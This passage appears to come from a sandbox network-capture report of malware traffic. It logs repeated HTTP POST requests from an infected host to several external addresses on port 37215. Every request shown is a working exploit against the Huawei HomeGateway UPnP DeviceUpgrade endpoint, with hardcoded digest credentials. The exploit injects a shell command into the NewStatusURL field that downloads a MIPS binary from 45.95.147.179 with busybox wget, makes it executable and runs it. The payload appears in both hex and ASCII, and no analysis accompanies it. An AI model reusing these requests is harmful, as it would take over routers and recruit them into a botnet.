version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:10.700613976 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.20	36376	197.234.61.88	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:02.748357058 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.20	45096	156.247.25.231	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:02.854087114 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:04.368581057 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:06.188493013 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:09.828483105 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:17.100908041 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:31.660599947 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:00.780658007 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.20	60096	156.234.127.138	37215

Timestamp	Bytes transferred	Direction	Data
